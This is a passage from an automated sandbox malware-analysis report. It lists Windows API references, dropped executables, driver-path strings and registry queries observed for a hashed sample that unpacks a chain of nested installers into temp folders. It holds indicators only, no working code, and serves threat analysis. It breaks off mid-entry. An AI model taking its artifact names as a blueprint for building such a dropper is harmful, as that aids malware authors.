00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")6c:Teb2,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")6d:T835,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "NtQueryInformationToken" (Indicator: "NtQueryInformationToken"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "NtOpenProcessToken"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")6e:T622,Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 4Bu185jX.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 1RI95Jv4.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: salo.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 4Kb287am.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: tus_1_.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 3CP67Xw.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 1TB52Ye1.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 5sU52oo.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 5cM9dm9.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 3kc5oj81.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: 2va9153.exe] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: clip64.dll]6f:T720,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found string "\Device\HarddiskVolume2\b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Indicator: "\Device\"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found string "\Device\HarddiskVolume1\??\Volume{815ead30-0000-0000-0000-100000000000}" (Indicator: "\Device\"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002064.00000000.69620.02DC0000.00000004.mdmp, 00000000-00002064.00000001.71538.02DC0000.00000004.mdmp, 00000000-00002064.00000002.73457.02DC0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002064.00000000.69620.02DC0000.00000004.mdmp, 00000000-00002064.00000001.71538.02DC0000.00000004.mdmp, 00000000-00002064.00000002.73457.02DC0000.00000004.mdmp")70:T7a8,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")71:T53e,Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")72:T84d,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00000768.00000002.71414.01311000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000768.00000002.71414.01311000.00000020.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002300.00000000.67631.01151000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002300.00000000.67631.01151000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")73:T568,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")74:Tde3,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")75:T733,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00001224.00000000.68864.00D51000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")76:T22f3,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: foto1661_1_.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: foto1661_1_.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: foto1661_1_.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: foto1661_1_.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: foto1661_1_.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: pu4QC49.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: pu4QC49.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: pu4QC49.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: pu4QC49.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: pu4QC49.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: PH1iJ6gO.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: PH1iJ6gO.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: PH1iJ6gO.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: PH1iJ6gO.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: PH1iJ6gO.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: XJ8DL15.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: XJ8DL15.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: XJ8DL15.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: XJ8DL15.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: XJ8DL15.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: TW9GU8TZ.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: TW9GU8TZ.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: TW9GU8TZ.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: TW9GU8TZ.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: TW9GU8TZ.exe] Observed import api "MapGenericMask" which can "Maps the generic access rights in an access mask to specific and standard access rights" [Source: 4Bu185jX.exe] Observed import api "MapGenericMask" which can "Maps the generic access rights in an access mask to specific and standard access rights" [Source: 1RI95Jv4.exe] Observed import api "MapGenericMask" which can "Maps the generic access rights in an access mask to specific and standard access rights" [Source: salo.exe] Observed import api "MapGenericMask" which can "Maps the generic access rights in an access mask to specific and standard access rights" [Source: tus_1_.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: UG5dl07.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: UG5dl07.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: UG5dl07.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: UG5dl07.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: UG5dl07.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: yG0Wt0do.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: yG0Wt0do.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: yG0Wt0do.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: yG0Wt0do.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: yG0Wt0do.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: ZP7Gz0iG.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: ZP7Gz0iG.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ZP7Gz0iG.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: ZP7Gz0iG.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: ZP7Gz0iG.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Sj8xo42.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Sj8xo42.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Sj8xo42.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Sj8xo42.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Sj8xo42.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5sU52oo.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5sU52oo.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5sU52oo.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5cM9dm9.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5cM9dm9.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5cM9dm9.exe]77:Tffe,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\PU4QC49.EXE"; Value: "") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\6AW7XX2.EXE"; Value: "") "pu4QC49.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\XJ8DL15.EXE"; Value: "") "pu4QC49.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\5CM9DM9.EXE"; Value: "") "XJ8DL15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\UG5DL07.EXE"; Value: "") "XJ8DL15.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\4KB287AM.EXE"; Value: "") "UG5dl07.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\SJ8XO42.EXE"; Value: "") "UG5dl07.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: 